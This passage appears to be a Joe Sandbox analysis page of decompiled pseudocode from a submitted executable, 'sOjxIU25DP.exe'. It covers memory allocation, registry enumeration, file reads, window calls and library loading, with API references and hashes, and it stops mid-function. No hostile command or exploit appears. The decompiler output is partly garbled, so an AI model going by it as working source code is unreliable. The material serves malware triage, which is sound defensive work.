Function 00401B87 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72
memoryCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00401B87(void* __ebx, void* __edx) {
				intOrPtr _t7;
				void* _t8;
				void _t11;
				void* _t13;
				void* _t21;
				void* _t24;
				void* _t30;
				void* _t33;
				void* _t34;
				char* _t36;
				void* _t37;

				_t27 = __ebx;
				_t7 =  *((intOrPtr*)(_t37 - 0x20));
				_t30 =  *0x40b860; // 0x5ff568
				if(_t7 == __ebx) {
					if(__edx == __ebx) {
						_t8 = GlobalAlloc("true", 0x404); // executed
						_t34 = _t8;
						E004062BB(__ebx, _t30, _t34, _t34 + 4,  *((intOrPtr*)(_t37 - 0x28)));
						_t11 =  *0x40b860; // 0x5ff568
						 *_t34 = _t11;
						 *0x40b860 = _t34;
					} else {
						if(_t30 == __ebx) {
							 *((intOrPtr*)(_t37 - 4)) = 1;
						} else {
							_t2 = _t30 + 4; // 0x5ff56c
							E00406228(_t33, _t2);
							_push(_t30);
							 *0x40b860 =  *_t30;
							GlobalFree();
						}
					}
					goto L15;
				} else {
					while(1) {
						_t7 = _t7 - 1;
						if(_t30 == _t27) {
							break;
						}
						_t30 =  *_t30;
						if(_t7 != _t27) {
							continue;
						} else {
							if(_t30 == _t27) {
								break;
							} else {
								_t32 = _t30 + 4;
								_t36 = "Call";
								E00406228(_t36, _t30 + 4);
								_t21 =  *0x40b860; // 0x5ff568
								E00406228(_t32, _t21 + 4);
								_t24 =  *0x40b860; // 0x5ff568
								_push(_t36);
								_push(_t24 + 4);
								E00406228();
								L15:
								 *0x4247e8 =  *0x4247e8 +  *((intOrPtr*)(_t37 - 4));
								_t13 = 0;
							}
						}
						goto L17;
					}
					_push(0x200010);
					_push(E004062BB(_t27, _t30, _t33, _t27, 0xffffffe8));
					E00405944();
					_t13 = 0x7fffffff;
				}
				L17:
				return _t13;
			}

0x00401b87
0x00401b87
0x00401b8a
0x00401b92
0x00401bda
0x00401c08
0x00401c11
0x00401c17
0x00401c1c
0x00401c21
0x00401c23
0x00401bdc
0x00401bde
0x004027bf
0x00401be4
0x00401be4
0x00401be9
0x00401bf0
0x00401bf1
0x00401bf6
0x00401bf6
0x00401bde
0x00000000
0x00401b94
0x00401b94
0x00401b94
0x00401b97
0x00000000
0x00000000
0x00401b9d
0x00401ba1
0x00000000
0x00401ba3
0x00401ba5
0x00000000
0x00401bab
0x00401bab
0x00401bae
0x00401bb5
0x00401bba
0x00401bc4
0x00401bc9
0x00401bce
0x00401bd2
0x00402918
0x00402a5a
0x00402a5d
0x00402a63
0x00402a63
0x00401ba5
0x00000000
0x00401ba1
0x00402374
0x00402381
0x00402382
0x00402387
0x00402387
0x00402a65
0x00402a69

APIs

GlobalFree.KERNEL32(005FF568), ref: 00401BF6
GlobalAlloc.KERNELBASE(?,00000404), ref: 00401C08

Strings

Call, xrefs: 00401BAE, 00401BB4, 00401BCE

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: Global$AllocFree
String ID: Call
API String ID: 3394109436-1824292864
Opcode ID: 4b64c40105e878e0b1e2a703722168d53c9fcab197cc447946f911a83bde78af
Instruction ID: 390df038645e4f22e1bedbd61b2e9eca8db7164d5315f5e1cad92dca3afb4e1e
Opcode Fuzzy Hash: 4b64c40105e878e0b1e2a703722168d53c9fcab197cc447946f911a83bde78af
Instruction Fuzzy Hash: 9F21C672700109ABCB10FBA5DE84A5E73E8EB453147114A3BF202B32E1DB7CD8128B5D

Uniqueness

Uniqueness Score: -1.00%

Function 00402588 Relevance: 4.5, APIs: 3, Instructions: 47
registryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00402588(int* __ebx, intOrPtr __edx, char* __esi) {
				void* _t9;
				int _t10;
				long _t13;
				int* _t16;
				intOrPtr _t21;
				void* _t22;
				char* _t24;
				void* _t26;
				void* _t29;

				_t24 = __esi;
				_t21 = __edx;
				_t16 = __ebx;
				_t9 = E00402C0E(_t29, 0x20019); // executed
				_t22 = _t9;
				_t10 = E00402BAC(3);
				 *((intOrPtr*)(_t26 - 0x38)) = _t21;
				 *__esi = __ebx;
				if(_t22 == __ebx) {
					 *((intOrPtr*)(_t26 - 4)) = 1;
				} else {
					 *(_t26 + 8) = 0x3ff;
					if( *((intOrPtr*)(_t26 - 0x18)) == __ebx) {
						_t13 = RegEnumValueA(_t22, _t10, __esi, _t26 + 8, __ebx, __ebx, __ebx, __ebx); // executed
						__eflags = _t13;
						if(_t13 != 0) {
							 *((intOrPtr*)(_t26 - 4)) = 1;
						}
					} else {
						RegEnumKeyA(_t22, _t10, __esi, 0x3ff);
					}
					_t24[0x3ff] = _t16;
					_push(_t22); // executed
					RegCloseKey(); // executed
				}
				 *0x4247e8 =  *0x4247e8 +  *((intOrPtr*)(_t26 - 4));
				return 0;
			}

0x00402588
0x00402588
0x00402588
0x0040258d
0x00402594
0x00402596
0x0040259e
0x004025a1
0x004025a3
0x004027bf
0x004025a9
0x004025b1
0x004025b4
0x004025cd
0x004025d3
0x004025d5
0x004025d7
0x004025d7
0x004025b6
0x004025ba
0x004025ba
0x004025de
0x004025e4
0x004025e5
0x004025e5
0x00402a5d
0x00402a69

APIs

RegEnumKeyA.ADVAPI32(00000000,00000000,?,000003FF), ref: 004025BA
RegEnumValueA.KERNELBASE(00000000,00000000,?,?), ref: 004025CD
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp,00000000,00000011,00000002), ref: 004025E5

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: 07f07a4e52f2467be49752b6cf30dafb8f15576a8a1ca54bd9b8cdaee2fa6ec9
Instruction ID: 5457d8f6eaa4e5d12d29eab45a62b884c218c2630d48127b0e5588cd7198ceb9
Opcode Fuzzy Hash: 07f07a4e52f2467be49752b6cf30dafb8f15576a8a1ca54bd9b8cdaee2fa6ec9
Instruction Fuzzy Hash: 0E017C71604204FFE7219F549E99ABF7AACEF40358F20403EF505A61C0DAB84A419629

Uniqueness

Uniqueness Score: -1.00%

Function 00403192 Relevance: 3.1, APIs: 2, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E00403192(void* __ecx, long _a4, intOrPtr _a8, void* _a12, long _a16) {
				long _v8;
				long _t21;
				long _t22;
				void* _t24;
				long _t26;
				int _t27;
				long _t28;
				void* _t29;
				void* _t30;
				long _t31;
				long _t32;
				long _t36;

				_t21 = _a4;
				if(_t21 >= 0) {
					_t32 = _t21 +  *0x4247b8;
					 *0x41f8fc = _t32;
					SetFilePointer( *0x40a01c, _t32, 0, 0); // executed
				}
				_t22 = E0040329A("true");
				if(_t22 >= 0) {
					_t24 = E00405E39( *0x40a01c,  &_a4, "true"); // executed
					if(_t24 == 0) {
						L18:
						_push(0xfffffffd);
						goto L19;
					} else {
						 *0x41f8fc =  *0x41f8fc + 4;
						_t36 = E0040329A(_a4);
						if(_t36 < 0) {
							L21:
							_t22 = _t36;
						} else {
							if(_a12 != 0) {
								_t26 = _a4;
								if(_t26 >= _a16) {
									_t26 = _a16;
								}
								_t27 = ReadFile( *0x40a01c, _a12, _t26,  &_v8, 0); // executed
								if(_t27 != 0) {
									_t36 = _v8;
									 *0x41f8fc =  *0x41f8fc + _t36;
									goto L21;
								} else {
									goto L18;
								}
							} else {
								if(_a4 <= 0) {
									goto L21;
								} else {
									while(1) {
										_t28 = _a4;
										if(_a4 >= 0x4000) {
											_t28 = 0x4000;
										}
										_v8 = _t28;
										_t29 = E00405E39( *0x40a01c, 0x4138f8, _t28); // executed
										if(_t29 == 0) {
											goto L18;
										}
										_t30 = E00405E68(_a8, 0x4138f8, _v8); // executed
										if(_t30 == 0) {
											_push(0xfffffffe);
											L19:
											_pop(_t22);
										} else {
											_t31 = _v8;
											_a4 = _a4 - _t31;
											 *0x41f8fc =  *0x41f8fc + _t31;
											_t36 = _t36 + _t31;
											if(_a4 > 0) {
												continue;
											} else {
												goto L21;
											}
										}
										goto L22;
									}
									goto L18;
								}
							}
						}
					}
				}
				L22:
				return _t22;
			}

0x00403196
0x0040319f
0x004031a8
0x004031ac
0x004031b7
0x004031b7
0x004031bf
0x004031c6
0x004031d8
0x004031df
0x00403284
0x00403284
0x00000000
0x004031e5
0x004031e8
0x004031f4
0x004031f8
0x00403292
0x00403292
0x004031fe
0x00403201
0x00403260
0x00403266
0x00403268
0x00403268
0x0040327a
0x00403282
0x00403289
0x0040328c
0x00000000
0x00000000
0x00000000
0x00000000
0x00403203
0x00403206
0x00000000
0x0040320c
0x00403211
0x00403218
0x0040321b
0x0040321d
0x0040321d
0x0040322a
0x0040322d
0x00403234
0x00000000
0x00000000
0x0040323d
0x00403244
0x0040325c
0x00403286
0x00403286
0x00403246
0x00403246
0x00403249
0x0040324c
0x00403252
0x00403258
0x00000000
0x0040325a
0x00000000
0x0040325a
0x00403258
0x00000000
0x00403244
0x00000000
0x00403211
0x00403206
0x00403201
0x004031f8
0x004031df
0x00403294
0x00403297

APIs

SetFilePointer.KERNELBASE(0040A130,00000000,00000000,00000000,00000000,?,?,0040313E,000000FF,00000000,00000000,0040A130,?), ref: 004031B7

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 01e98dbf49a9efced9094fa2c3d361a4303186e46b1d46872f44f8f4f7fda8b1
Instruction ID: 417efc13fc3ab0d651ced5ea1d77d103914e3086752ee655c490bf772f36c9c7
Opcode Fuzzy Hash: 01e98dbf49a9efced9094fa2c3d361a4303186e46b1d46872f44f8f4f7fda8b1
Instruction Fuzzy Hash: 6A316D30100319FFDB109F96ED48A9A7FA8EB04359B20847FF914E6190D338DB519BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00402516 Relevance: 3.1, APIs: 2, Instructions: 56
registryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00402516(int* __ebx, char* __esi) {
				void* _t17;
				char* _t18;
				void* _t33;
				void* _t37;
				void* _t40;

				_t35 = __esi;
				_t27 = __ebx;
				_t17 = E00402C0E(_t40, 0x20019); // executed
				_t33 = _t17;
				_t18 = E00402BCE(0x33);
				 *__esi = __ebx;
				if(_t33 == __ebx) {
					 *(_t37 - 4) = 1;
				} else {
					 *(_t37 - 0x38) = 0x400;
					if(RegQueryValueExA(_t33, _t18, __ebx, _t37 + 8, __esi, _t37 - 0x38) != 0) {
						L7:
						 *_t35 = _t27;
						 *(_t37 - 4) = 1;
					} else {
						if( *(_t37 + 8) == 4) {
							__eflags =  *(_t37 - 0x18) - __ebx;
							 *(_t37 - 4) = 0 |  *(_t37 - 0x18) == __ebx;
							E00406186(__esi,  *__esi);
						} else {
							if( *(_t37 + 8) == 1 ||  *(_t37 + 8) == 2) {
								 *(_t37 - 4) =  *(_t37 - 0x18);
								_t35[0x3ff] = _t27;
							} else {
								goto L7;
							}
						}
					}
					_push(_t33); // executed
					RegCloseKey(); // executed
				}
				 *0x4247e8 =  *0x4247e8 +  *(_t37 - 4);
				return 0;
			}

0x00402516
0x00402516
0x0040251b
0x00402522
0x00402524
0x0040252b
0x0040252d
0x004027bf
0x00402533
0x00402536
0x00402551
0x00402581
0x00402581
0x00402583
0x00402553
0x00402557
0x00402570
0x00402577
0x0040257a
0x00402559
0x0040255c
0x00402567
0x004025de
0x00000000
0x00000000
0x00000000
0x0040255c
0x00402557
0x004025e4
0x004025e5
0x004025e5
0x00402a5d
0x00402a69

APIs

RegQueryValueExA.ADVAPI32(00000000,00000000,?,?,?,?), ref: 00402546
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp,00000000,00000011,00000002), ref: 004025E5

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: f12252b9aeef50539456d11e297c48c7dbb78da0c73bb01f9c0199b508454199
Instruction ID: 1c1f02c5aaf628b7390d045b0618e23eb354294a1350e4313168400c24b1b0a5
Opcode Fuzzy Hash: f12252b9aeef50539456d11e297c48c7dbb78da0c73bb01f9c0199b508454199
Instruction Fuzzy Hash: 5F11BF71A00205EFDF24CF64CA985AE7AB4EF00355F20843FE446B72C0D6B88A86DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43
windowCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00401389(signed int _a4) {
				intOrPtr* _t6;
				void* _t8;
				void* _t10;
				signed int _t11;
				void* _t12;
				signed int _t16;
				signed int _t17;
				void* _t18;

				_t17 = _a4;
				while(_t17 >= 0) {
					_t6 = _t17 * 0x1c +  *0x424790;
					if( *_t6 == 1) {
						break;
					}
					_push(_t6); // executed
					_t8 = E00401434(); // executed
					if(_t8 == 0x7fffffff) {
						return 0x7fffffff;
					}
					_t10 = E0040136D(_t8);
					if(_t10 != 0) {
						_t11 = _t10 - 1;
						_t16 = _t17;
						_t17 = _t11;
						_t12 = _t11 - _t16;
					} else {
						_t12 = _t10 + 1;
						_t17 = _t17 + 1;
					}
					if( *((intOrPtr*)(_t18 + 0xc)) != 0) {
						 *0x423f2c =  *0x423f2c + _t12;
						SendMessageA( *(_t18 + 0x18), 0x402, MulDiv( *0x423f2c, 0x7530,  *0x423f14), 0); // executed
					}
				}
				return 0;
			}

0x0040138a
0x004013fa
0x0040139b
0x004013a0
0x00000000
0x00000000
0x004013a2
0x004013a3
0x004013ad
0x00000000
0x00401404
0x004013b0
0x004013b7
0x004013bd
0x004013be
0x004013c0
0x004013c2
0x004013b9
0x004013b9
0x004013ba
0x004013ba
0x004013c9
0x004013cb
0x004013f4
0x004013f4
0x004013c9
0x00000000

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageA.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: bd8df2336641fef3ba5122bb8ee68c85eddc30aa2a367a6b625e197710042414
Instruction ID: 619251f0f573ab9f47b456b69b18ba8f896b0ae65f75ba169e48b75275ff5987
Opcode Fuzzy Hash: bd8df2336641fef3ba5122bb8ee68c85eddc30aa2a367a6b625e197710042414
Instruction Fuzzy Hash: F301D131B242109BE7194B38AE04B2A36A8E754315F11813AF855F61F1DA78CC129B4C

Uniqueness

Uniqueness Score: -1.00%

Function 00401EC5 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401EE3
EnableWindow.USER32(00000000,00000000), ref: 00401EEE

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: cf21621e424372a7688f599355db49d1cf752b2fb02208e1cc70f2201506b7ec
Instruction ID: b6218d79d5d1b124876536442c0cb2e6b0b535ee34a5d2671e588ccca60dd8a7
Opcode Fuzzy Hash: cf21621e424372a7688f599355db49d1cf752b2fb02208e1cc70f2201506b7ec
Instruction Fuzzy Hash: 40E09232B04200EFD714EFA5EA8856EBBB0EB80325B20413FF001F20C1CA7848418A59

Uniqueness

Uniqueness Score: -1.00%

Function 00406631 Relevance: 3.0, APIs: 2, Instructions: 22
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406631(signed int _a4) {
				struct HINSTANCE__* _t5;
				signed int _t10;

				_t10 = _a4 << 3;
				_t8 =  *(_t10 + 0x40a258);
				_t5 = GetModuleHandleA( *(_t10 + 0x40a258));
				if(_t5 != 0) {
					L2:
					return GetProcAddress(_t5,  *(_t10 + 0x40a25c));
				}
				_t5 = E004065C3(_t8); // executed
				if(_t5 == 0) {
					return 0;
				}
				goto L2;
			}

0x00406639
0x0040663c
0x00406643
0x0040664b
0x00406657
0x00000000
0x0040665e
0x0040664e
0x00406655
0x00000000
0x00406666
0x00000000

APIs

GetModuleHandleA.KERNEL32(?,?,?,004034D4,0000000B), ref: 00406643
GetProcAddress.KERNEL32(00000000,?), ref: 0040665E

Part of subcall function 004065C3: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 004065DA
Part of subcall function 004065C3: wsprintfA.USER32 ref: 00406613
Part of subcall function 004065C3: LoadLibraryExA.KERNELBASE(?,00000000,?), ref: 00406627

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 2284c13bb0467c230d08af9fe6f3031970f5259716d95ff003564f382569e38e
Instruction ID: e63780c8bf1f0faf28ba6c6d4be53ddd5ff0707a9bdd482d1e4d5d99537df4e3
Opcode Fuzzy Hash: 2284c13bb0467c230d08af9fe6f3031970f5259716d95ff003564f382569e38e
Instruction Fuzzy Hash: 94E086326042106AD6106B70AE04C7773A89F84750702483EF546F2150D7399C3596AD

Uniqueness

Uniqueness Score: -1.00%

Function 00405DC1 Relevance: 3.0, APIs: 2, Instructions: 16
fileCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00405DC1(CHAR* _a4, long _a8, long _a12) {
				signed int _t5;
				void* _t6;

				_t5 = GetFileAttributesA(_a4); // executed
				asm("sbb ecx, ecx");
				_t6 = CreateFileA(_a4, _a8, 1, 0, _a12,  ~(_t5 + 1) & _t5, 0); // executed
				return _t6;
			}

0x00405dc5
0x00405dd2
0x00405de7
0x00405ded

APIs

GetFileAttributesA.KERNELBASE(00000003,00402F34,C:\Users\user\Desktop\sOjxIU25DP.exe,80000000,00000003), ref: 00405DC5
CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405DE7

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: f7726857ad0760fd27b8592a290aaff25a5a689f9fd17e1a71efc27c39f42f7d
Instruction ID: c1cd633b288b309c16b37b55694bd397a2d2f3fd27c3ea135bedd35eac3c4d3c
Opcode Fuzzy Hash: f7726857ad0760fd27b8592a290aaff25a5a689f9fd17e1a71efc27c39f42f7d
Instruction Fuzzy Hash: D9D09E31254602AFEF0D8F20DE16F2E7AA2EB84B00F11952CB682944E2DA715819AB19

Uniqueness

Uniqueness Score: -1.00%

Function 00405892 Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405892(CHAR* _a4) {
				int _t2;

				_t2 = CreateDirectoryA(_a4, 0); // executed
				if(_t2 == 0) {
					return GetLastError();
				}
				return 0;
			}

0x00405898
0x004058a0
0x00000000
0x004058a6
0x00000000

APIs

CreateDirectoryA.KERNELBASE(?,00000000,00403454,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403673,?,00000007,00000009,0000000B), ref: 00405898
GetLastError.KERNEL32(?,00000007,00000009,0000000B), ref: 004058A6

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 1ac3f182099991a074ef026cd112de1bb624e535cee62a6747cbed0a6cbac083
Instruction ID: ae32aa403121d558109e23f4dadc85ee7ba81b7b8263ff8d49f56a55f4155d83
Opcode Fuzzy Hash: 1ac3f182099991a074ef026cd112de1bb624e535cee62a6747cbed0a6cbac083
Instruction Fuzzy Hash: D5C04C316045019BE6506B319F08B1B7A549F50741F158439A78AE41E4DA388465D92D

Uniqueness

Uniqueness Score: -1.00%

Function 6F622A38 Relevance: 1.6, APIs: 1, Instructions: 143
fileCOMMON

Download Yara Rule

C-Code - Quality: 19%

			E6F622A38(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				void* _t28;
				void* _t29;
				void* _t33;
				void* _t37;
				void* _t40;
				void* _t45;
				void* _t49;
				signed int _t56;
				void* _t61;
				void* _t70;
				intOrPtr _t72;
				signed int _t77;
				intOrPtr _t79;
				intOrPtr _t80;
				void* _t81;
				void* _t87;
				void* _t88;
				void* _t89;
				void* _t90;
				intOrPtr _t93;
				intOrPtr _t94;

				if( *0x6f624040 != 0 && E6F62297D(_a4) == 0) {
					 *0x6f624044 = _t93;
					if( *0x6f62403c != 0) {
						_t93 =  *0x6f62403c;
					} else {
						E6F622F60(E6F622977(), __ecx);
						 *0x6f62403c = _t93;
					}
				}
				_t28 = E6F6229AB(_a4);
				_t94 = _t93 + 4;
				if(_t28 <= 0) {
					L9:
					_t29 = E6F62299F();
					_t72 = _a4;
					_t79 =  *0x6f624048;
					 *((intOrPtr*)(_t29 + _t72)) = _t79;
					 *0x6f624048 = _t72;
					E6F622999();
